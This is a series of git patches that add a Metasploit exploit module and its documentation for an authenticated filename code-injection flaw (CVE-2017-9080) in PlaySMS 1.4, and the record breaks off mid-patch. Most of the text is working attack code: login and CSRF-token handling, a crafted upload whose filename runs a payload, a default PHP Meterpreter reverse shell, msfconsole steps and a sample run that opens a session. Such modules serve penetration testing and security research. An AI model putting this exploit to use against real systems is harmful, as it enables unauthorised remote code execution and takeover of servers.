From ce099aea763c6ceb9c10799cc90e335dc37c96ce Mon Sep 17 00:00:00 2001 From: Touhid M Shaikh Date: Sat, 28 Apr 2018 01:15:52 +0530 Subject: [PATCH 1/8] playsms_filename_exec.rb PlaySMS sendfromfile.php Authenticated "Filename" Field Code Execution --- .../multi/http/playsms_filename_exec.rb | 189 ++++++++++++++++++ 1 file changed, 189 insertions(+) create mode 100644 modules/exploits/multi/http/playsms_filename_exec.rb diff --git a/modules/exploits/multi/http/playsms_filename_exec.rb b/modules/exploits/multi/http/playsms_filename_exec.rb new file mode 100644 index 0000000000..491face6c1 --- /dev/null +++ b/modules/exploits/multi/http/playsms_filename_exec.rb @@ -0,0 +1,189 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'PlaySMS sendfromfile.php Authenticated "Filename" Field Code Execution', + 'Description' => %q{ + This Module exploits a Authenticated File Upload and In filename parameter have Remote Code Excution Vulnerability + in PlaySMS Version 1.4. This issue is caused by improper File name handling in sendfromfile.php file. + Authenticated Users can upload a file and rename file name with a malicious payload. + This module was tested against PlaySMS 1.4 on VulnHub's Dina 1.0 machine and Windows 7. + }, + 'Author' => + [ + 'Touhid M.Shaikh ', # Discoverys and Metasploit Module + 'DarkS3curity' # Metasploit Module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['EDB','42003'] + ], + 'DefaultOptions' => + { + 'SSL' => false, + 'PAYLOAD' => 'php/meterpreter/reverse_tcp', + 'ENCODER' => 'php/base64', + }, + 'Privileged' => false, + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Targets' => + [ + [ 'PlaySMS 1.4', { } ], + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'May 21 2017')) + + register_options( + [ + OptString.new('TARGETURI', [ true, "Base playsms directory path", '/']), + OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']), + OptString.new('PASSWORD', [ true, "Password to authenticate with", 'admin']) + ]) + + end + + def uri + return target_uri.path + end + + def check + res = nil + begin + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri, 'index.php') + }) + rescue + vprint_error('Unable to access the index.php file') + return CheckCode::Unknown + end + + if res.code == 302 && res.headers['Location'].include?('index.php?app=main&inc=core_auth&route=login') + return Exploit::CheckCode::Appears + end + + return CheckCode::Safe + end + + def login + res = send_request_cgi({ + 'uri' => normalize_uri(uri, 'index.php'), + 'method' => 'GET', + 'vars_get' => { + 'app' => 'main', + 'inc' => 'core_auth', + 'route' => 'login', + } + }) + + # Grabbing CSRF token from body + /name="X-CSRF-Token" value="(?[a-z0-9"]+)">/ =~ res.body + fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil? + vprint_good("X-CSRF-Token for login : #{csrf}") + + cookies = res.get_cookies + print_status('Trying to Login ......') + # Send Creds with cookies. + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(uri, 'index.php'), + 'cookie' => cookies, + 'vars_get' => Hash[{ + 'app' => 'main', + 'inc' => 'core_auth', + 'route' => 'login', + 'op' => 'login', + }.to_a.shuffle], + 'vars_post' => Hash[{ + 'X-CSRF-Token' => csrf, + 'username' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'] + }.to_a.shuffle], + }) + + unless res + fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to Login request") + end + + # Try to access index page with authenticated cookie. + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri, 'index.php'), + 'cookie' => cookies, + }) + + # if we redirect to core_welcome dan we assume we have authenticated cookie. + if res.code == 302 && res.headers['Location'].include?('index.php?app=main&inc=core_welcome') + print_good("Authentication successful : [ #{datastore['USERNAME']}:#{datastore['PASSWORD']} ]") + return cookies + else + fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed :[ #{datastore['USERNAME']}:#{datastore['PASSWORD']} ]") + end + end + + + def exploit + + cookies = login + + # Agian CSRF token. + res = send_request_cgi({ + 'uri' => normalize_uri(uri, 'index.php'), + 'method' => 'GET', + 'cookie' => cookies, + 'vars_get' => Hash[{ + 'app' => 'main', + 'inc' => 'feature_sendfromfile', + 'op' => 'list', + }.to_a.shuffle] + }) + + unless res + fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to Login request") + end + + # Grabbing CSRF token from body. + /name="X-CSRF-Token" value="(?[a-z0-9"]+)">/ =~ res.body + fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil? + vprint_good("X-CSRF-Token for upload : #{csrf}") + + # Payload. + evilname = "" + + # setup POST request. + post_data = Rex::MIME::Message.new + post_data.add_part(csrf, content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="X-CSRF-Token"') # CSRF token + post_data.add_part("agent22", content_type = 'application/octet-stream', transfer_encoding = nil, content_disposition = "form-data; name=\"fncsv\"; filename=\"#{evilname}\"") # payload + post_data.add_part("1", content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="fncsv_dup"') # extra + data = post_data.to_s + + print_status('Trying to upload file with malicious Filename Field....') + # Lets Send Upload request. + res = send_request_cgi({ + 'uri' => normalize_uri(uri, 'index.php'), + 'method' => 'POST', + 'agent' => payload.encode, + 'cookie' => cookies, + 'vars_get' => Hash[{ + 'app' => 'main', + 'inc' => 'feature_sendfromfile', + 'op' => 'upload_confirm', + }.to_a.shuffle], + 'headers' => { + 'Upgrade-Insecure-Requests' => '1', + }, + 'Connection' => 'close', + 'data' => data, + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", + }) + end +end From d01a664a3f78ca5ee016cb849e69185864111682 Mon Sep 17 00:00:00 2001 From: Touhid M Shaikh Date: Sat, 28 Apr 2018 19:41:32 +0530 Subject: [PATCH 2/8] playsms_filename_exec.md doc update --- .../multi/http/playsms_filename_exec.md | 64 +++++++++++++++++++ 1 file changed, 64 insertions(+) create mode 100644 documentation/modules/exploit/multi/http/playsms_filename_exec.md diff --git a/documentation/modules/exploit/multi/http/playsms_filename_exec.md b/documentation/modules/exploit/multi/http/playsms_filename_exec.md new file mode 100644 index 0000000000..e3d1879d34 --- /dev/null +++ b/documentation/modules/exploit/multi/http/playsms_filename_exec.md @@ -0,0 +1,64 @@ +## Description +this Module exploits a Authenticated File Upload and In filename parameter have Remote Code Excution Vulnerability in PlaySMS Version 1.4. This issue is caused by improper File name handling in sendfromfile.php file. Authenticated Users can upload a file and rename file name with a malicious payload. Additional information and vulnerabilities can be viewed on Exploit-DB [42044]( https://www.exploit-db.com/exploits/42003/)) +**NOTE :** This Module is already PULLED but for some reason closed by author Check [#9840](https://github.com/rapid7/metasploit-framework/pull/9840) + +## Vulnerable Application +Available at [Exploit-DB](https://www.exploit-db.com/apps/577b6363d3e8baf4696744f911372ea6-playsms-1.4.tar.gz) + +## Vulnerable Application Installation Setup. +Download Application : ```wget https://www.exploit-db.com/apps/577b6363d3e8baf4696744f911372ea6-playsms-1.4.tar.gz``` + +Extract : ```tar -xvf 577b6363d3e8baf4696744f911372ea6-playsms-1.4.tar.gz``` + +Move In WebDirectory : ```mv playsms-1.4/web/* /var/www/html/``` + +make config file: ```cp /var/www/html/config-dist.php /var/www/html/config.php``` + +Change Owner : ```chown -R www-data:www-data /var/www/html/``` + +Set DB creds in config.php File. And dump playsms-1.4/db/playsms.sql in your playsms database. + +Now Visit : http://localhost/ + +## Verification Steps + + 1. Install the application + 2. Start msfconsole + 3. Do: `use exploit/multi/http/playsms_filename_exec` + 4. Do: `set rport ` + 5. Do: `set rhost ` + 6. Do: `set targeturi SecreTSMSgatwayLogin` + 7. Do: `set username touhid` + 8. Do: `set password diana` + 9. Do: `check` +``` +[*] 10.22.1.10:80 The target appears to be vulnerable. +``` + 10. Do: `set lport ` + 11. Do: `set lhost ` + 12. Do: `exploit` + 13. You should get a shell. + +## Options + + **TARGETURI** + + TARGETURI by default is `/`, however it can be changed. + +## Scenarios +### Playsms on Ubuntu Linux +``` +msf exploit(multi/http/playsms_filename_exec) > run + +[*] Started reverse TCP handler on 10.22.1.3:4444 +[+] X-CSRF-Token for login : 13bce9776cfc270a3779e8b557330cc2 +[*] Trying to Login ...... +[+] Authentication successful : [ touhid:diana ] +[+] X-CSRF-Token for upload : 2780d48dc11a482a58d8a95ad873c6cc +[*] Trying to upload file with malicious Filename Field.... +[*] Sending stage (37775 bytes) to 10.22.1.15 +[*] Sleeping before handling stage... +[*] Meterpreter session 1 opened (10.22.1.3:4444 -> 10.22.1.15:38814) at 2018-04-08 13:45:34 +0530 + +meterpreter > +``` From 14b18ccafbe14f25ec3f29f9ada148087f2165a9 Mon Sep 17 00:00:00 2001 From: Touhid M Shaikh Date: Fri, 4 May 2018 20:42:23 +0530 Subject: [PATCH 3/8] updated remove options sections --- .../modules/exploit/multi/http/playsms_filename_exec.md | 5 ----- 1 file changed, 5 deletions(-) diff --git a/documentation/modules/exploit/multi/http/playsms_filename_exec.md b/documentation/modules/exploit/multi/http/playsms_filename_exec.md index e3d1879d34..c068e7a0ef 100644 --- a/documentation/modules/exploit/multi/http/playsms_filename_exec.md +++ b/documentation/modules/exploit/multi/http/playsms_filename_exec.md @@ -39,11 +39,6 @@ Now Visit : http://localhost/ 12. Do: `exploit` 13. You should get a shell. -## Options - - **TARGETURI** - - TARGETURI by default is `/`, however it can be changed. ## Scenarios ### Playsms on Ubuntu Linux From e824f0f8b03caf088d22f3c69e100bce558a98ea Mon Sep 17 00:00:00 2001 From: Touhid M Shaikh Date: Fri, 4 May 2018 21:00:04 +0530 Subject: [PATCH 4/8] updated added CVE, URL and done randomizing content --- modules/exploits/multi/http/playsms_filename_exec.rb | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/modules/exploits/multi/http/playsms_filename_exec.rb b/modules/exploits/multi/http/playsms_filename_exec.rb index 491face6c1..602d4cb66e 100644 --- a/modules/exploits/multi/http/playsms_filename_exec.rb +++ b/modules/exploits/multi/http/playsms_filename_exec.rb @@ -24,7 +24,10 @@ class MetasploitModule < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'References' => [ - ['EDB','42003'] + ['EDB','42003'], + ['CVE','CVE-2017-9080'], + ['URL','https://www.youtube.com/watch?v=MuYoImvfpew'], + ['URL','http://touhidshaikh.com/blog/?p=336'] ], 'DefaultOptions' => { @@ -162,7 +165,7 @@ class MetasploitModule < Msf::Exploit::Remote # setup POST request. post_data = Rex::MIME::Message.new post_data.add_part(csrf, content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="X-CSRF-Token"') # CSRF token - post_data.add_part("agent22", content_type = 'application/octet-stream', transfer_encoding = nil, content_disposition = "form-data; name=\"fncsv\"; filename=\"#{evilname}\"") # payload + post_data.add_part("{rand_text_alpha(8 + rand(5))}", content_type = 'application/octet-stream', transfer_encoding = nil, content_disposition = "form-data; name=\"fncsv\"; filename=\"#{evilname}\"") # payload post_data.add_part("1", content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="fncsv_dup"') # extra data = post_data.to_s From aa69fc9e77dcfd3e12499f4525e189119a280a7b Mon Sep 17 00:00:00 2001 From: Touhid M Shaikh Date: Fri, 4 May 2018 21:13:26 +0530 Subject: [PATCH 5/8] updated print_status to vprint_status --- modules/exploits/multi/http/playsms_filename_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/playsms_filename_exec.rb b/modules/exploits/multi/http/playsms_filename_exec.rb index 602d4cb66e..2034ee1728 100644 --- a/modules/exploits/multi/http/playsms_filename_exec.rb +++ b/modules/exploits/multi/http/playsms_filename_exec.rb @@ -169,7 +169,7 @@ class MetasploitModule < Msf::Exploit::Remote post_data.add_part("1", content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="fncsv_dup"') # extra data = post_data.to_s - print_status('Trying to upload file with malicious Filename Field....') + vprint_status('Trying to upload file with malicious Filename Field....') # Lets Send Upload request. res = send_request_cgi({ 'uri' => normalize_uri(uri, 'index.php'), From 71d6841471bbae2d48be21873e17566f73425c57 Mon Sep 17 00:00:00 2001 From: Touhid M Shaikh Date: Fri, 4 May 2018 21:33:07 +0530 Subject: [PATCH 6/8] updated indentation and fix CVE --- .../multi/http/playsms_filename_exec.rb | 362 +++++++++--------- 1 file changed, 181 insertions(+), 181 deletions(-) diff --git a/modules/exploits/multi/http/playsms_filename_exec.rb b/modules/exploits/multi/http/playsms_filename_exec.rb index 2034ee1728..eba48d791d 100644 --- a/modules/exploits/multi/http/playsms_filename_exec.rb +++ b/modules/exploits/multi/http/playsms_filename_exec.rb @@ -3,190 +3,190 @@ # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote - Rank = ExcellentRanking +Rank = ExcellentRanking - include Msf::Exploit::Remote::HttpClient +include Msf::Exploit::Remote::HttpClient - def initialize(info = {}) - super(update_info(info, - 'Name' => 'PlaySMS sendfromfile.php Authenticated "Filename" Field Code Execution', - 'Description' => %q{ - This Module exploits a Authenticated File Upload and In filename parameter have Remote Code Excution Vulnerability - in PlaySMS Version 1.4. This issue is caused by improper File name handling in sendfromfile.php file. - Authenticated Users can upload a file and rename file name with a malicious payload. - This module was tested against PlaySMS 1.4 on VulnHub's Dina 1.0 machine and Windows 7. +def initialize(info = {}) +super(update_info(info, + 'Name' => 'PlaySMS sendfromfile.php Authenticated "Filename" Field Code Execution', + 'Description' => %q{ + This Module exploits a Authenticated File Upload and In filename parameter have Remote Code Excution Vulnerability + in PlaySMS Version 1.4. This issue is caused by improper File name handling in sendfromfile.php file. + Authenticated Users can upload a file and rename file name with a malicious payload. + This module was tested against PlaySMS 1.4 on VulnHub's Dina 1.0 machine and Windows 7. + }, + 'Author' => + [ + 'Touhid M.Shaikh ', # Discoverys and Metasploit Module + 'DarkS3curity' # Metasploit Module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['EDB','42003'], + ['CVE','2017-9080'], + ['URL','https://www.youtube.com/watch?v=MuYoImvfpew'], + ['URL','http://touhidshaikh.com/blog/?p=336'] + ], + 'DefaultOptions' => + { + 'SSL' => false, + 'PAYLOAD' => 'php/meterpreter/reverse_tcp', + 'ENCODER' => 'php/base64', }, - 'Author' => - [ - 'Touhid M.Shaikh ', # Discoverys and Metasploit Module - 'DarkS3curity' # Metasploit Module - ], - 'License' => MSF_LICENSE, - 'References' => - [ - ['EDB','42003'], - ['CVE','CVE-2017-9080'], - ['URL','https://www.youtube.com/watch?v=MuYoImvfpew'], - ['URL','http://touhidshaikh.com/blog/?p=336'] - ], - 'DefaultOptions' => - { - 'SSL' => false, - 'PAYLOAD' => 'php/meterpreter/reverse_tcp', - 'ENCODER' => 'php/base64', - }, - 'Privileged' => false, - 'Platform' => ['php'], - 'Arch' => ARCH_PHP, - 'Targets' => - [ - [ 'PlaySMS 1.4', { } ], - ], - 'DefaultTarget' => 0, - 'DisclosureDate' => 'May 21 2017')) + 'Privileged' => false, + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Targets' => + [ + [ 'PlaySMS 1.4', { } ], + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'May 21 2017')) - register_options( - [ - OptString.new('TARGETURI', [ true, "Base playsms directory path", '/']), - OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']), - OptString.new('PASSWORD', [ true, "Password to authenticate with", 'admin']) - ]) + register_options( + [ + OptString.new('TARGETURI', [ true, "Base playsms directory path", '/']), + OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']), + OptString.new('PASSWORD', [ true, "Password to authenticate with", 'admin']) + ]) - end - - def uri - return target_uri.path - end - - def check - res = nil - begin - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri(uri, 'index.php') - }) - rescue - vprint_error('Unable to access the index.php file') - return CheckCode::Unknown - end - - if res.code == 302 && res.headers['Location'].include?('index.php?app=main&inc=core_auth&route=login') - return Exploit::CheckCode::Appears - end - - return CheckCode::Safe - end - - def login - res = send_request_cgi({ - 'uri' => normalize_uri(uri, 'index.php'), - 'method' => 'GET', - 'vars_get' => { - 'app' => 'main', - 'inc' => 'core_auth', - 'route' => 'login', - } - }) - - # Grabbing CSRF token from body - /name="X-CSRF-Token" value="(?[a-z0-9"]+)">/ =~ res.body - fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil? - vprint_good("X-CSRF-Token for login : #{csrf}") - - cookies = res.get_cookies - print_status('Trying to Login ......') - # Send Creds with cookies. - res = send_request_cgi({ - 'method' => 'POST', - 'uri' => normalize_uri(uri, 'index.php'), - 'cookie' => cookies, - 'vars_get' => Hash[{ - 'app' => 'main', - 'inc' => 'core_auth', - 'route' => 'login', - 'op' => 'login', - }.to_a.shuffle], - 'vars_post' => Hash[{ - 'X-CSRF-Token' => csrf, - 'username' => datastore['USERNAME'], - 'password' => datastore['PASSWORD'] - }.to_a.shuffle], - }) - - unless res - fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to Login request") - end - - # Try to access index page with authenticated cookie. - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri(uri, 'index.php'), - 'cookie' => cookies, - }) - - # if we redirect to core_welcome dan we assume we have authenticated cookie. - if res.code == 302 && res.headers['Location'].include?('index.php?app=main&inc=core_welcome') - print_good("Authentication successful : [ #{datastore['USERNAME']}:#{datastore['PASSWORD']} ]") - return cookies - else - fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed :[ #{datastore['USERNAME']}:#{datastore['PASSWORD']} ]") - end - end - - - def exploit - - cookies = login - - # Agian CSRF token. - res = send_request_cgi({ - 'uri' => normalize_uri(uri, 'index.php'), - 'method' => 'GET', - 'cookie' => cookies, - 'vars_get' => Hash[{ - 'app' => 'main', - 'inc' => 'feature_sendfromfile', - 'op' => 'list', - }.to_a.shuffle] - }) - - unless res - fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to Login request") - end - - # Grabbing CSRF token from body. - /name="X-CSRF-Token" value="(?[a-z0-9"]+)">/ =~ res.body - fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil? - vprint_good("X-CSRF-Token for upload : #{csrf}") - - # Payload. - evilname = "" - - # setup POST request. - post_data = Rex::MIME::Message.new - post_data.add_part(csrf, content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="X-CSRF-Token"') # CSRF token - post_data.add_part("{rand_text_alpha(8 + rand(5))}", content_type = 'application/octet-stream', transfer_encoding = nil, content_disposition = "form-data; name=\"fncsv\"; filename=\"#{evilname}\"") # payload - post_data.add_part("1", content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="fncsv_dup"') # extra - data = post_data.to_s - - vprint_status('Trying to upload file with malicious Filename Field....') - # Lets Send Upload request. - res = send_request_cgi({ - 'uri' => normalize_uri(uri, 'index.php'), - 'method' => 'POST', - 'agent' => payload.encode, - 'cookie' => cookies, - 'vars_get' => Hash[{ - 'app' => 'main', - 'inc' => 'feature_sendfromfile', - 'op' => 'upload_confirm', - }.to_a.shuffle], - 'headers' => { - 'Upgrade-Insecure-Requests' => '1', - }, - 'Connection' => 'close', - 'data' => data, - 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", - }) - end +end + +def uri +return target_uri.path +end + +def check +res = nil +begin + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri, 'index.php') + }) +rescue + vprint_error('Unable to access the index.php file') + return CheckCode::Unknown +end + +if res.code == 302 && res.headers['Location'].include?('index.php?app=main&inc=core_auth&route=login') + return Exploit::CheckCode::Appears +end + +return CheckCode::Safe +end + +def login +res = send_request_cgi({ + 'uri' => normalize_uri(uri, 'index.php'), + 'method' => 'GET', + 'vars_get' => { + 'app' => 'main', + 'inc' => 'core_auth', + 'route' => 'login', + } +}) + +# Grabbing CSRF token from body +/name="X-CSRF-Token" value="(?[a-z0-9"]+)">/ =~ res.body +fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil? +vprint_good("X-CSRF-Token for login : #{csrf}") + +cookies = res.get_cookies +print_status('Trying to Login ......') +# Send Creds with cookies. +res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(uri, 'index.php'), + 'cookie' => cookies, + 'vars_get' => Hash[{ + 'app' => 'main', + 'inc' => 'core_auth', + 'route' => 'login', + 'op' => 'login', + }.to_a.shuffle], + 'vars_post' => Hash[{ + 'X-CSRF-Token' => csrf, + 'username' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'] + }.to_a.shuffle], +}) + +unless res + fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to Login request") +end + +# Try to access index page with authenticated cookie. +res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri, 'index.php'), + 'cookie' => cookies, +}) + +# if we redirect to core_welcome dan we assume we have authenticated cookie. +if res.code == 302 && res.headers['Location'].include?('index.php?app=main&inc=core_welcome') + print_good("Authentication successful : [ #{datastore['USERNAME']}:#{datastore['PASSWORD']} ]") + return cookies +else + fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed :[ #{datastore['USERNAME']}:#{datastore['PASSWORD']} ]") +end +end + + +def exploit + +cookies = login + +# Agian CSRF token. +res = send_request_cgi({ + 'uri' => normalize_uri(uri, 'index.php'), + 'method' => 'GET', + 'cookie' => cookies, + 'vars_get' => Hash[{ + 'app' => 'main', + 'inc' => 'feature_sendfromfile', + 'op' => 'list', + }.to_a.shuffle] +}) + +unless res + fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to Login request") +end + +# Grabbing CSRF token from body. +/name="X-CSRF-Token" value="(?[a-z0-9"]+)">/ =~ res.body +fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil? +vprint_good("X-CSRF-Token for upload : #{csrf}") + +# Payload. +evilname = "" + +# setup POST request. +post_data = Rex::MIME::Message.new +post_data.add_part(csrf, content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="X-CSRF-Token"') # CSRF token +post_data.add_part("{rand_text_alpha(8 + rand(5))}", content_type = 'application/octet-stream', transfer_encoding = nil, content_disposition = "form-data; name=\"fncsv\"; filename=\"#{evilname}\"") # payload +post_data.add_part("1", content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="fncsv_dup"') # extra +data = post_data.to_s + +vprint_status('Trying to upload file with malicious Filename Field....') +# Lets Send Upload request. +res = send_request_cgi({ + 'uri' => normalize_uri(uri, 'index.php'), + 'method' => 'POST', + 'agent' => payload.encode, + 'cookie' => cookies, + 'vars_get' => Hash[{ + 'app' => 'main', + 'inc' => 'feature_sendfromfile', + 'op' => 'upload_confirm', + }.to_a.shuffle], + 'headers' => { + 'Upgrade-Insecure-Requests' => '1', + }, + 'Connection' => 'close', + 'data' => data, + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", +}) +end end From 4b8ceab522a762d3c56f17e86755c902f01bf5c1 Mon Sep 17 00:00:00 2001 From: Jacob Robles Date: Mon, 7 May 2018 07:22:53 -0500 Subject: [PATCH 7/8] Fix indentation, update documentation --- .../multi/http/playsms_filename_exec.md | 51 ++-- .../multi/http/playsms_filename_exec.rb | 271 +++++++++--------- 2 files changed, 156 insertions(+), 166 deletions(-) diff --git a/documentation/modules/exploit/multi/http/playsms_filename_exec.md b/documentation/modules/exploit/multi/http/playsms_filename_exec.md index c068e7a0ef..dafef5c80c 100644 --- a/documentation/modules/exploit/multi/http/playsms_filename_exec.md +++ b/documentation/modules/exploit/multi/http/playsms_filename_exec.md @@ -1,43 +1,36 @@ ## Description -this Module exploits a Authenticated File Upload and In filename parameter have Remote Code Excution Vulnerability in PlaySMS Version 1.4. This issue is caused by improper File name handling in sendfromfile.php file. Authenticated Users can upload a file and rename file name with a malicious payload. Additional information and vulnerabilities can be viewed on Exploit-DB [42044]( https://www.exploit-db.com/exploits/42003/)) -**NOTE :** This Module is already PULLED but for some reason closed by author Check [#9840](https://github.com/rapid7/metasploit-framework/pull/9840) +This module exploits a code injection vulnerability within an authenticated file upload feature in PlaySMS v1.4. This issue is caused by improper file name handling in sendfromfile.php file. Authenticated Users can upload a file and rename the file with a malicious payload. Additional information and vulnerabilities can be viewed on Exploit-DB [42044](https://www.exploit-db.com/exploits/42003/). ## Vulnerable Application Available at [Exploit-DB](https://www.exploit-db.com/apps/577b6363d3e8baf4696744f911372ea6-playsms-1.4.tar.gz) -## Vulnerable Application Installation Setup. -Download Application : ```wget https://www.exploit-db.com/apps/577b6363d3e8baf4696744f911372ea6-playsms-1.4.tar.gz``` - -Extract : ```tar -xvf 577b6363d3e8baf4696744f911372ea6-playsms-1.4.tar.gz``` - -Move In WebDirectory : ```mv playsms-1.4/web/* /var/www/html/``` - -make config file: ```cp /var/www/html/config-dist.php /var/www/html/config.php``` - -Change Owner : ```chown -R www-data:www-data /var/www/html/``` - -Set DB creds in config.php File. And dump playsms-1.4/db/playsms.sql in your playsms database. - -Now Visit : http://localhost/ +### Vulnerable Application Installation Setup. + 1. Download Application : `wget https://www.exploit-db.com/apps/577b6363d3e8baf4696744f911372ea6-playsms-1.4.tar.gz` + 2. Extract : `tar -xvf 577b6363d3e8baf4696744f911372ea6-playsms-1.4.tar.gz` + 3. Move In WebDirectory : `mv playsms-1.4/web/* /var/www/html/` + 4. make config file: `cp /var/www/html/config-dist.php /var/www/html/config.php` + 5. Change Owner : `chown -R www-data:www-data /var/www/html/` + 6. Set DB creds in config.php File. And dump playsms-1.4/db/playsms.sql in your playsms database. + 7. Now Visit : http://localhost/ ## Verification Steps - 1. Install the application - 2. Start msfconsole - 3. Do: `use exploit/multi/http/playsms_filename_exec` - 4. Do: `set rport ` - 5. Do: `set rhost ` - 6. Do: `set targeturi SecreTSMSgatwayLogin` - 7. Do: `set username touhid` - 8. Do: `set password diana` - 9. Do: `check` + 1. Install the application + 2. Start msfconsole + 3. Do: `use exploit/multi/http/playsms_filename_exec` + 4. Do: `set rport ` + 5. Do: `set rhost ` + 6. Do: `set targeturi SecreTSMSgatwayLogin` + 7. Do: `set username touhid` + 8. Do: `set password diana` + 9. Do: `check` ``` [*] 10.22.1.10:80 The target appears to be vulnerable. ``` - 10. Do: `set lport ` - 11. Do: `set lhost ` - 12. Do: `exploit` - 13. You should get a shell. + 10. Do: `set lport ` + 11. Do: `set lhost ` + 12. Do: `exploit` + 13. You should get a shell. ## Scenarios diff --git a/modules/exploits/multi/http/playsms_filename_exec.rb b/modules/exploits/multi/http/playsms_filename_exec.rb index eba48d791d..0ead99c304 100644 --- a/modules/exploits/multi/http/playsms_filename_exec.rb +++ b/modules/exploits/multi/http/playsms_filename_exec.rb @@ -2,191 +2,188 @@ # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## + class MetasploitModule < Msf::Exploit::Remote -Rank = ExcellentRanking + Rank = ExcellentRanking -include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HttpClient -def initialize(info = {}) -super(update_info(info, - 'Name' => 'PlaySMS sendfromfile.php Authenticated "Filename" Field Code Execution', - 'Description' => %q{ - This Module exploits a Authenticated File Upload and In filename parameter have Remote Code Excution Vulnerability - in PlaySMS Version 1.4. This issue is caused by improper File name handling in sendfromfile.php file. - Authenticated Users can upload a file and rename file name with a malicious payload. - This module was tested against PlaySMS 1.4 on VulnHub's Dina 1.0 machine and Windows 7. - }, - 'Author' => + def initialize(info = {}) + super(update_info(info, + 'Name' => 'PlaySMS sendfromfile.php Authenticated "Filename" Field Code Execution', + 'Description' => %q{ + This module exploits a code injection vulnerability within an authenticated file + upload feature in PlaySMS v1.4. This issue is caused by improper file name handling + in sendfromfile.php file. + Authenticated Users can upload a file and rename the file with a malicious payload. + This module was tested against PlaySMS 1.4 on VulnHub's Dina 1.0 machine and Windows 7. + }, + 'Author' => [ - 'Touhid M.Shaikh ', # Discoverys and Metasploit Module - 'DarkS3curity' # Metasploit Module + 'Touhid M.Shaikh ', # Discoverys and Metasploit Module + 'DarkS3curity' # Metasploit Module ], - 'License' => MSF_LICENSE, - 'References' => + 'License' => MSF_LICENSE, + 'References' => [ - ['EDB','42003'], - ['CVE','2017-9080'], - ['URL','https://www.youtube.com/watch?v=MuYoImvfpew'], - ['URL','http://touhidshaikh.com/blog/?p=336'] + ['EDB','42003'], + ['CVE','2017-9080'], + ['URL','https://www.youtube.com/watch?v=MuYoImvfpew'], + ['URL','http://touhidshaikh.com/blog/?p=336'] ], - 'DefaultOptions' => + 'DefaultOptions' => { - 'SSL' => false, - 'PAYLOAD' => 'php/meterpreter/reverse_tcp', - 'ENCODER' => 'php/base64', + 'SSL' => false, + 'PAYLOAD' => 'php/meterpreter/reverse_tcp', + 'ENCODER' => 'php/base64', }, - 'Privileged' => false, - 'Platform' => ['php'], - 'Arch' => ARCH_PHP, - 'Targets' => + 'Privileged' => false, + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Targets' => [ - [ 'PlaySMS 1.4', { } ], + [ 'PlaySMS 1.4', { } ], ], - 'DefaultTarget' => 0, - 'DisclosureDate' => 'May 21 2017')) + 'DefaultTarget' => 0, + 'DisclosureDate' => 'May 21 2017')) register_options( - [ - OptString.new('TARGETURI', [ true, "Base playsms directory path", '/']), - OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']), - OptString.new('PASSWORD', [ true, "Password to authenticate with", 'admin']) - ]) + [ + OptString.new('TARGETURI', [ true, "Base playsms directory path", '/']), + OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']), + OptString.new('PASSWORD', [ true, "Password to authenticate with", 'admin']) + ]) + end -end + def uri + 